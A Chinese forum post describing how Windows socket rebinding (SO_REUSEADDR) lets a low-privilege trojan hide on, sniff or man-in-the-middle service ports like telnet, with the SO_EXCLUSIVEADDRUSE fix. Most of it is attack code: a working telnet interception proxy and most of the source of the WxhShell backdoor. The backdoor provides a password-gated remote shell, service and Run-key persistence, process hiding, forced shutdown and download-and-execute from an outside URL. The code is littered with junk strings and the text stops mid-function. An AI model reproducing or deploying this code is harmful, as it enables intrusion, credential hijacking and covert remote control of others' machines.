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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wIPDeC4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?q7Gs)B=^'  
zy5bDL -  
  saddr.sin_family = AF_INET; uu#+|ZD  
|LhuZ_;1xo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oOvbel`;  
}zLE*b,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^ `9OA`2  
}?$Mh)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c73ZEd+j  
,s<d"]<  
  这意味着什么?意味着可以进行如下的攻击: ?/g(Y  
-rrg?4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H$HhB8z3  
DtX{0p<T3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w-m2N-"= '  
HkCme_y"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dv: &N  
qyC"}y-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qz):YHxT]n  
C8-q<t#SF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dzap]RpB  
fz\Az-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / ffWmb_4  
a$-ax[:\sm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _7VU ,  
\wP$"Z}j  
  #include 4O'ho0w7  
  #include \(s ";@  
  #include C$ 5x*`y  
  #include    Nsy.!,!c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /fEXAk  
  int main() [o "@*kf  
  { GWsFW[T?~  
  WORD wVersionRequested; yCVBG  
  DWORD ret; .FyC4"b=c  
  WSADATA wsaData; )XWL'':bF  
  BOOL val; scmb DaOn  
  SOCKADDR_IN saddr; `K.yE0^i  
  SOCKADDR_IN scaddr; ?uLqB@!2  
  int err; y+_U6rv[  
  SOCKET s; 01b0;|  
  SOCKET sc; 7UiU3SUcg  
  int caddsize; F$v G=3  
  HANDLE mt; "|H0 X#  
  DWORD tid;   H}/1/5 L  
  wVersionRequested = MAKEWORD( 2, 2 ); d #su  
  err = WSAStartup( wVersionRequested, &wsaData ); 0n%`Xb0q  
  if ( err != 0 ) { C\Rd]P8\  
  printf("error!WSAStartup failed!\n"); 4-AmzU  
  return -1; C.|MA(7  
  } ;3_'{  
  saddr.sin_family = AF_INET; ;%&@^;@k%  
   Y\\&~g42R2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9 (Z)c  
BC3I{Y |  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); . Hw^Nx  
  saddr.sin_port = htons(23); ]dH; +3 }  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _[V 6s#Wk3  
  {  .*+ &>m7  
  printf("error!socket failed!\n"); U3>G9g>^B  
  return -1; ]#;JPO#*  
  } BQ(`MM@  
  val = TRUE; &j$k58mX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y}8j_r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5E]I  
  { L3S,*LnA  
  printf("error!setsockopt failed!\n"); UCFef,VW  
  return -1; N gr7E  
  } pq4frq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3s+D x$Ud  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n#iL[ &/Aw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @d)6LA9Ec  
aV1(DZ83  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @uHNz-c  
  { +'l@t bP  
  ret=GetLastError(); KQh'5o&  
  printf("error!bind failed!\n"); ey:3F%  
  return -1; dPS}\&1  
  } Tg[+K+b  
  listen(s,2); r'j*f"uAm  
  while(1) -Y YQnN  
  { i;cqK&P;]  
  caddsize = sizeof(scaddr); XWk^$"  
  //接受连接请求 <X:7$v6T|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TMbj]Mso  
  if(sc!=INVALID_SOCKET) z7}@8F  
  { w%kxY5q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3.Y/ZWON  
  if(mt==NULL) KV Mm<]Z  
  { 1L3L!@  
  printf("Thread Creat Failed!\n"); P*_Q8I)Y  
  break; Y?Xs Z  
  } ;s{rJG{inG  
  } mZmwCS8  
  CloseHandle(mt); yPW?%7 h  
  } P9gIKOOx#4  
  closesocket(s); ~%'M[3Rb  
  WSACleanup(); [H!V  
  return 0; ~R3@GaL1  
  }   |#"<{RS+w  
  DWORD WINAPI ClientThread(LPVOID lpParam) i0hF9M  
  { ,?728pfw  
  SOCKET ss = (SOCKET)lpParam; zUWu5JI  
  SOCKET sc; VCtj8hKDr  
  unsigned char buf[4096]; HI55):Eb  
  SOCKADDR_IN saddr; ><%z~s  
  long num; 5G|(od3  
  DWORD val; .:E%cL +h  
  DWORD ret; YajUdpJi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I;9>$?t[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .,I^)8c  
  saddr.sin_family = AF_INET; bNi\+=v<Ys  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 40+~;20  
  saddr.sin_port = htons(23); ><+wHb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y]+q mNw"+  
  { x^&D8&4^  
  printf("error!socket failed!\n"); Enyx+]9  
  return -1; Cjdw@v0;  
  } r1f##  
  val = 100; !{jDZ?z{h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XX+%:,G  
  { r$d,ChzQn?  
  ret = GetLastError(); rxJmK$qd  
  return -1; sk6C/ '0:  
  } WZ> }  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~"xc 3(h  
  { iLD}>=  
  ret = GetLastError(); qXcHf6  
  return -1; B*W)e$  
  } llN#4D9s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bu$Z+o  
  { i|2CZ  
  printf("error!socket connect failed!\n"); JlR (U. "  
  closesocket(sc); >|IUjv2L  
  closesocket(ss);   
  return -1; hj[&.w  
  } = wEU+R_#o  
  while(1) k /srT<  
  { h)7hk*I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oK\{#<gCZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dz_~_|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3 vr T`  
  num = recv(ss,buf,4096,0); P3Ocfpf Bp  
  if(num>0) gqw ]L>Z  
  send(sc,buf,num,0); iW oe  
  else if(num==0) f_'#wc6  
  break; I8M^]+c  
  num = recv(sc,buf,4096,0); xYSNop3_  
  if(num>0) 4b5'nu  
  send(ss,buf,num,0); {5`=){  
  else if(num==0) cqXP}5  
  break; `?P)RS30  
  } [ H|ifi  
  closesocket(ss); nymro[@O~  
  closesocket(sc); 'wA4}f  
  return 0 ; 4+?d0  
  } uPh/u!  
s&.VU|=VQ@  
A-S!Z2m\  
========================================================== E)ne z  
S1SsJo2\  
下边附上一个代码,,WXhSHELL a]NH >d  
,]FcWx \u  
========================================================== $Jc>B#1  
e:`d)GE  
#include "stdafx.h" q/qJkr^2  
Wks?9 )Is  
#include <stdio.h> 7j,u&%om  
#include <string.h> ^p7g[E&  
#include <windows.h> 4C]>{osv  
#include <winsock2.h> 2,T^L (]  
#include <winsvc.h> wg.TCT2  
#include <urlmon.h> /u&{=nU  
A*x3O%zH  
#pragma comment (lib, "Ws2_32.lib") a|Yry  
#pragma comment (lib, "urlmon.lib") S:F8` Gh  
6O@/Y;5i  
#define MAX_USER   100 // 最大客户端连接数 I l2`c}9  
#define BUF_SOCK   200 // sock buffer QtSJ9;eP  
#define KEY_BUFF   255 // 输入 buffer :n0czO6 E  
.+#<~Jv  
#define REBOOT     0   // 重启 )y#~eYn  
#define SHUTDOWN   1   // 关机 8slOB>2#Y  
J>w3>8!>7  
#define DEF_PORT   5000 // 监听端口 J}?:\y<  
9jkaEn>m^  
#define REG_LEN     16   // 注册表键长度 z\g6E/%%  
#define SVC_LEN     80   // NT服务名长度 ,RXfJh  
| > t,1T.  
// 从dll定义API G?$0OU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'O:QS)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8n2MZ9p]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yH<a;@C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n,l{1 q  
Or:a\qQ1  
// wxhshell配置信息 ps@;Z ?Q  
struct WSCFG { 'h*^;3@*  
  int ws_port;         // 监听端口 V7}3H2]^  
  char ws_passstr[REG_LEN]; // 口令 xtq='s8e  
  int ws_autoins;       // 安装标记, 1=yes 0=no f#>ubmuI^  
  char ws_regname[REG_LEN]; // 注册表键名 c|hT\1XR,  
  char ws_svcname[REG_LEN]; // 服务名 \+3P<?hD#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7SVq fWp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WAzn`xGxR"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rEfo)jod  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &i{>Li  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  Oye:V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &:@)ro CR  
k. @OFkX.  
}; "j*{7FBqk  
3U\| E  
// default Wxhshell configuration dd> qy  
struct WSCFG wscfg={DEF_PORT, MpCK/eiC  
    "xuhuanlingzhe", drkY~!a  
    1, 40i]I@:JK  
    "Wxhshell", sgxD5xj}4  
    "Wxhshell", ^|kqy<<X  
            "WxhShell Service", YYs/r  
    "Wrsky Windows CmdShell Service", 1;FtQnvH  
    "Please Input Your Password: ", d) i64"  
  1, $kD ;*v=  
  "http://www.wrsky.com/wxhshell.exe", sc)}r_|g  
  "Wxhshell.exe" =F 9!)r  
    }; yd+.hg&J  
xZc].l6  
// 消息定义模块 ]Te,m}E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 81jVjf?`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \.l8]LH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IizPu4|  
char *msg_ws_ext="\n\rExit."; \#%1t  
char *msg_ws_end="\n\rQuit."; =Ul{#R z  
char *msg_ws_boot="\n\rReboot..."; dd6m/3uUW  
char *msg_ws_poff="\n\rShutdown..."; edZhI  
char *msg_ws_down="\n\rSave to "; j8[RDiJ  
(;6vT'hE  
char *msg_ws_err="\n\rErr!"; zxhE9 [`*e  
char *msg_ws_ok="\n\rOK!"; Nfo`Q0\[P  
yR'%UpaE  
char ExeFile[MAX_PATH]; H7Y :l0b  
int nUser = 0; *+rWn*L  
HANDLE handles[MAX_USER]; >"?jW@|g  
int OsIsNt; aEvW<jHh  
.d?2Kc)SV\  
SERVICE_STATUS       serviceStatus; d")TH3pG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {I^@BW-  
k[<Uxh%  
// 函数声明 8{)j"rghah  
int Install(void); >Y 8\I  
int Uninstall(void); X :wfmb  
int DownloadFile(char *sURL, SOCKET wsh); 6t!PHA  
int Boot(int flag); 2, R5mL$  
void HideProc(void); qC:QY6g$N  
int GetOsVer(void); SpJIEw  
int Wxhshell(SOCKET wsl); 5u=$m^@{  
void TalkWithClient(void *cs); '5; /V  
int CmdShell(SOCKET sock); BH3%dh :9  
int StartFromService(void); AdGDs+at,  
int StartWxhshell(LPSTR lpCmdLine); J)n^b  
bg/a5$t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ms/!8X$Mz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [L`w nP  
OGWZq(c"6  
// 数据结构和表定义 &|Cd1z#?  
SERVICE_TABLE_ENTRY DispatchTable[] = J2avt  
{ -F~"W@9r  
{wscfg.ws_svcname, NTServiceMain}, /+JHnedK  
{NULL, NULL} !HCuae3_  
}; ]X\p\n'@j  
~/l5ys  
// 自我安装 <; P40jDL  
int Install(void) Z(wj5;[G  
{ ^+k~{F,)  
  char svExeFile[MAX_PATH]; :N#8|;J1Fl  
  HKEY key; {NTMvJLm  
  strcpy(svExeFile,ExeFile); y*7{S{9  
 eo&^~OVT  
// 如果是win9x系统,修改注册表设为自启动 c\DMeYrg  
if(!OsIsNt) { 9YEE.=]T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .g?Ppma  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cP2n,>:  
  RegCloseKey(key); )l6(ss!J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z{wZLqG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ArVW2gL  
  RegCloseKey(key); @Pb%dS  
  return 0; }CGA)yK~3  
    } ln*jakRrC  
  } f~ P~%  
} ##5e:<c&[  
else { K)N'~jCG  
sa w  
// 如果是NT以上系统,安装为系统服务 kHz?vVE/l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wf{&D>  
if (schSCManager!=0) EV[ BB;eb  
{ !t!'  
  SC_HANDLE schService = CreateService Vu5Djx'  
  ( `;)op3A'  
  schSCManager, p>h}k_s  
  wscfg.ws_svcname, r8,'LZIz  
  wscfg.ws_svcdisp, Vi<6i0  
  SERVICE_ALL_ACCESS, TR'<D9kn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OfPv'rW{x  
  SERVICE_AUTO_START, <[A;i  
  SERVICE_ERROR_NORMAL, Y,M 2 D  
  svExeFile, 63HtZ=hO7  
  NULL, avy@)iO7  
  NULL, WXFC e@  
  NULL, R/P9=yvg0  
  NULL, ~tZy-1  
  NULL *0/%R{+S  
  ); M,sZ8eeq  
  if (schService!=0) (sp{.bU  
  { PwC^ ]e  
  CloseServiceHandle(schService); F5 7Kr5X  
  CloseServiceHandle(schSCManager); [B@R(z=H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U-pBat.$'C  
  strcat(svExeFile,wscfg.ws_svcname); Cig! 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >uR;^B5m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4$ ^rzAi5  
  RegCloseKey(key); ?o`fX wE  
  return 0; i?n#ge  
    } O2S{*D={  
  } 91|~KR)  
  CloseServiceHandle(schSCManager); C] M{  
} * TByAa{  
} IPk"{T3  
5"z~BE7  
return 1; C^ZD Uj`  
}  rqEP!S^  
Dpkc9~z  
// 自我卸载 } QpyU%  
int Uninstall(void) CO{AC~  
{ )NnkoCNeE  
  HKEY key; jBU!xCO  
(d#W3  
if(!OsIsNt) { V"5LNtf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ESi-'R&  
  RegDeleteValue(key,wscfg.ws_regname); S#l)|c_~  
  RegCloseKey(key); xPMX\aI|l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZU.f)94u  
  RegDeleteValue(key,wscfg.ws_regname); [='<K  
  RegCloseKey(key); w"AO~LF  
  return 0; }0 =gP?.kE  
  } 85ND 3F6q4  
} wj9 Hh  
} v7mg8'  
else {  EHda  
m`#UV-$J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :s#&nY  
if (schSCManager!=0) k!{h]D0  
{ \= Wrh3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e89IT*  
  if (schService!=0) c1h?aP  
  { #.|MV}6rQ  
  if(DeleteService(schService)!=0) { ;k8U5=6a  
  CloseServiceHandle(schService); j,v2(e5:  
  CloseServiceHandle(schSCManager); \<x{U3q5  
  return 0; _Sult;y"u  
  } 2qPQ3-'  
  CloseServiceHandle(schService); -bp7X{&  
  } H#B97IGT  
  CloseServiceHandle(schSCManager); A#CGD0T  
} 0ae}!LO  
} :+UahwiRD"  
&I?d(Z=:\  
return 1; zN>tSdNkI-  
} y5N,~@$r  
hA387?  
// 从指定url下载文件 nj7\vIR7  
int DownloadFile(char *sURL, SOCKET wsh) Pql;5 ~/  
{ WxS$yUu  
  HRESULT hr; k[/`G5  
char seps[]= "/"; rM)-$dZ  
char *token; CChCxB  
char *file; |"k+j_/+  
char myURL[MAX_PATH]; @H|3e@5([  
char myFILE[MAX_PATH]; z[De?8=)  
(kZ2D  
strcpy(myURL,sURL); P~u~`eH*  
  token=strtok(myURL,seps); -+&sPrQ  
  while(token!=NULL) ~k/GmH  
  { [+>cW0a  
    file=token; j(];b+>  
  token=strtok(NULL,seps); Ui05o7xg~p  
  } o|c%uw  
n]snD1?KX  
GetCurrentDirectory(MAX_PATH,myFILE); rPF2IS(5  
strcat(myFILE, "\\"); h0Ilxa   
strcat(myFILE, file); h|XLL|:  
  send(wsh,myFILE,strlen(myFILE),0); v>p}f"$`  
send(wsh,"...",3,0); }XIUz|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *)um^O  
  if(hr==S_OK) HbQ+:B]  
return 0; p$zj2W+sN  
else afj[HJbY  
return 1; VT5o#NR{R  
^y3snuLtE  
} =Vi>?fWpn=  
mNnt9F3Eq  
// 系统电源模块 W5zlU2  
int Boot(int flag) =aJb}X  
{ wsyAq'%L  
  HANDLE hToken; S_Ug=8r4  
  TOKEN_PRIVILEGES tkp; l]KxUkA+  
i8> ^{GODR  
  if(OsIsNt) { [Z{0|NR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fv?vfI+m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sz'JOBp  
    tkp.PrivilegeCount = 1; SKrkB~%z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I-o |~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mybvD  
if(flag==REBOOT) { J#jx)K!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }^}ep2^  
  return 0; A]q"+Z]  
} ?s5hck hh  
else { PxiJ R[a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j3)fmlA  
  return 0; tP]-u3  
} l[Rl:k!  
  } 'n0u6hCSb  
  else { T{Y;-m  
if(flag==REBOOT) { c(G;O )ikS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q R<q[@)F  
  return 0; ~x 0x.-^A  
} k\`~v$R3  
else { P *zOt]T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %W:]OPURK  
  return 0; @?\[M9yK  
} l8Ks{(wh  
} (_$'e%G0  
j1U,X  
return 1; K`#bLCXEV0  
} ";$rcg"%X  
yJG M"$  
// win9x进程隐藏模块 pQf5s7  
void HideProc(void) _"R /k`8  
{ z6f N)kw  
^ ;XJG9a0\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BT8L'qEj  
  if ( hKernel != NULL ) sGs_w:Hn  
  { ,z+7rl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fNTe_akp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CBvvvgIo  
    FreeLibrary(hKernel); oUG!=.1}K5  
  } S eTn]  
cczV}m2)  
return; E+xC1U 3  
} ,/ bv3pE  
hxQx$  
// 获取操作系统版本 _BP!{~&;  
int GetOsVer(void) Mp`2[S@$  
{ -U#e  
  OSVERSIONINFO winfo; N(@B3%H2/J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xpjv @P  
  GetVersionEx(&winfo); C}>Pn{wY9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <1(j&U  
  return 1; Q"2J2211  
  else Oj?  |g_  
  return 0; "fTW2D74  
} Y3RaR 9  
u^Sa{Jk=  
// 客户端句柄模块 6)_svtg  
int Wxhshell(SOCKET wsl) ./# F,^F2  
{ 3!:?OUhx  
  SOCKET wsh; Kk?C   
  struct sockaddr_in client; :497]c3#5C  
  DWORD myID; ;#jE??E/:  
|MQ_VZ{6  
  while(nUser<MAX_USER) >/5'0n_R  
{ YLVZ]fN=>  
  int nSize=sizeof(client); #'&&&_Hu3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U&}v1wdZ3  
  if(wsh==INVALID_SOCKET) return 1; 8+yC P_Y4  
V+'C71-P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +i0j3.  
if(handles[nUser]==0) V0ig#?]  
  closesocket(wsh); `: R7j f  
else gfY1:0  
  nUser++; ,6iXlch  
  } 44p?x8(z*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xh) h#p.  
Q]v><  
  return 0; TyG;BF|rwk  
} zOfMKrRG  
,K>q{H^  
// 关闭 socket gf\F%VmSN  
void CloseIt(SOCKET wsh) c?H@HoF  
{ 9ER!K  
closesocket(wsh); @3_[NI%  
nUser--; p}:"@6  
ExitThread(0); 94CHxv  
} 3 J!J#  
bnYd19>  
// 客户端请求句柄 {)L*\r  
void TalkWithClient(void *cs) J'H}e F`  
{ @?!&M c2  
V[RsSZx =  
  SOCKET wsh=(SOCKET)cs; =)Z~ w`  
  char pwd[SVC_LEN]; \zMx~-2oN  
  char cmd[KEY_BUFF]; (l ]_0-Z  
char chr[1]; Ht_7:5v&   
int i,j; |iLf;8_:  
l =Is-N`  
  while (nUser < MAX_USER) { Fd(o8z8Q  
5xIOi(3`Q  
if(wscfg.ws_passstr) { ]qPrXuS/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XKQ\Ts2<k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4u}jkd$]*  
  //ZeroMemory(pwd,KEY_BUFF); lKyeG(  
      i=0; jM'(Qa  
  while(i<SVC_LEN) { >= VCKN2'j  
Yj'/ p  
  // 设置超时 @5:#J !  
  fd_set FdRead; r0L' mf$  
  struct timeval TimeOut; *Al`QEW  
  FD_ZERO(&FdRead); *\"+/   
  FD_SET(wsh,&FdRead); ul!e!^qwx  
  TimeOut.tv_sec=8; ..a@9#D  
  TimeOut.tv_usec=0; <]wQ;14;H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E~K5n2CI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1}XESAX;0  
WN6%%*w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $s`#&.>c-  
  pwd=chr[0]; K^f&+`v6_  
  if(chr[0]==0xd || chr[0]==0xa) { eH' J  
  pwd=0; B +<i=w  
  break; t1rAS.z&  
  } GEbm$\  
  i++; )gPkL r  
    } {O"N2W  
m$!Ex}2  
  // 如果是非法用户,关闭 socket g), t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Ds@nuQ  
} .0b4"0~T6  
</-aG[Fi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ''3b[<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?f&O4H  
"R % 3v.Z  
while(1) { %z "${ zw  
Uf\,U8UB  
  ZeroMemory(cmd,KEY_BUFF); &{z RuF  
HBiUp$(mB  
      // 自动支持客户端 telnet标准   CEl9/"0s6  
  j=0; 0jmPj   
  while(j<KEY_BUFF) { s^zX9IVnp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u1) #^?  
  cmd[j]=chr[0]; }+dDGFk  
  if(chr[0]==0xa || chr[0]==0xd) { c#<p44>U  
  cmd[j]=0; (y!V0iy]  
  break; ,]H2F']4Z  
  } rJw Ws  
  j++; 'Fr"96C$  
    } kH">(f  
:@]%n~x  
  // 下载文件 y41,T&ja  
  if(strstr(cmd,"http://")) { NGL,j\(~7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y$`@QRW  
  if(DownloadFile(cmd,wsh)) L,_Z:\^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3,}X@p  
  else xjH({(/B>a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (K`@OwD  
  } +(/' b' *  
  else { }[b3$WZ  
Qa@] sWcM  
    switch(cmd[0]) { d$#DXLA\P  
  ihBIE  
  // 帮助 Mi:i1i cdn  
  case '?': { ~jDf,a2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $q 9dkt  
    break; UJ7{FN=@t  
  } v&r\Z @%  
  // 安装 v]c+|nRs  
  case 'i': { fp?cb2'7  
    if(Install()) ':#DROe!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -W.bOr  
    else Apbgm[m|{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )JXy>q#  
    break; |"i"8~/@<  
    } 8Bwm+LYr-  
  // 卸载 't n-o  
  case 'r': { O*udVE>  
    if(Uninstall()) (,;4f7\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v%E~sX&CG  
    else V(P 1{g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?F/)<r  
    break; ?L+|b5RS  
    } {VT**o  
  // 显示 wxhshell 所在路径 a+,zXJQYq  
  case 'p': { Hd89./v`:  
    char svExeFile[MAX_PATH]; \W+Hzf] W#  
    strcpy(svExeFile,"\n\r"); L17{W4  
      strcat(svExeFile,ExeFile); 5 [X,?  
        send(wsh,svExeFile,strlen(svExeFile),0); 0s .X  
    break; Xz\X 8I  
    } 8)XAdAr  
  // 重启 KS Q*HO)5  
  case 'b': { -7(,*1Tk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e`bP=7`0  
    if(Boot(REBOOT)) m_h$fT8 _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;YY nIb(  
    else { PasVfC@  
    closesocket(wsh); Z=9gok\  
    ExitThread(0); YYF.0G}  
    } 2U& +K2  
    break; _3zJ.%  
    } N ,nvAM  
  // 关机 hUe\sv!x?  
  case 'd': { W<T Ui51Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (N?nOOQ  
    if(Boot(SHUTDOWN)) P#-p* 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 349BQ5ND  
    else { .s\_H,  
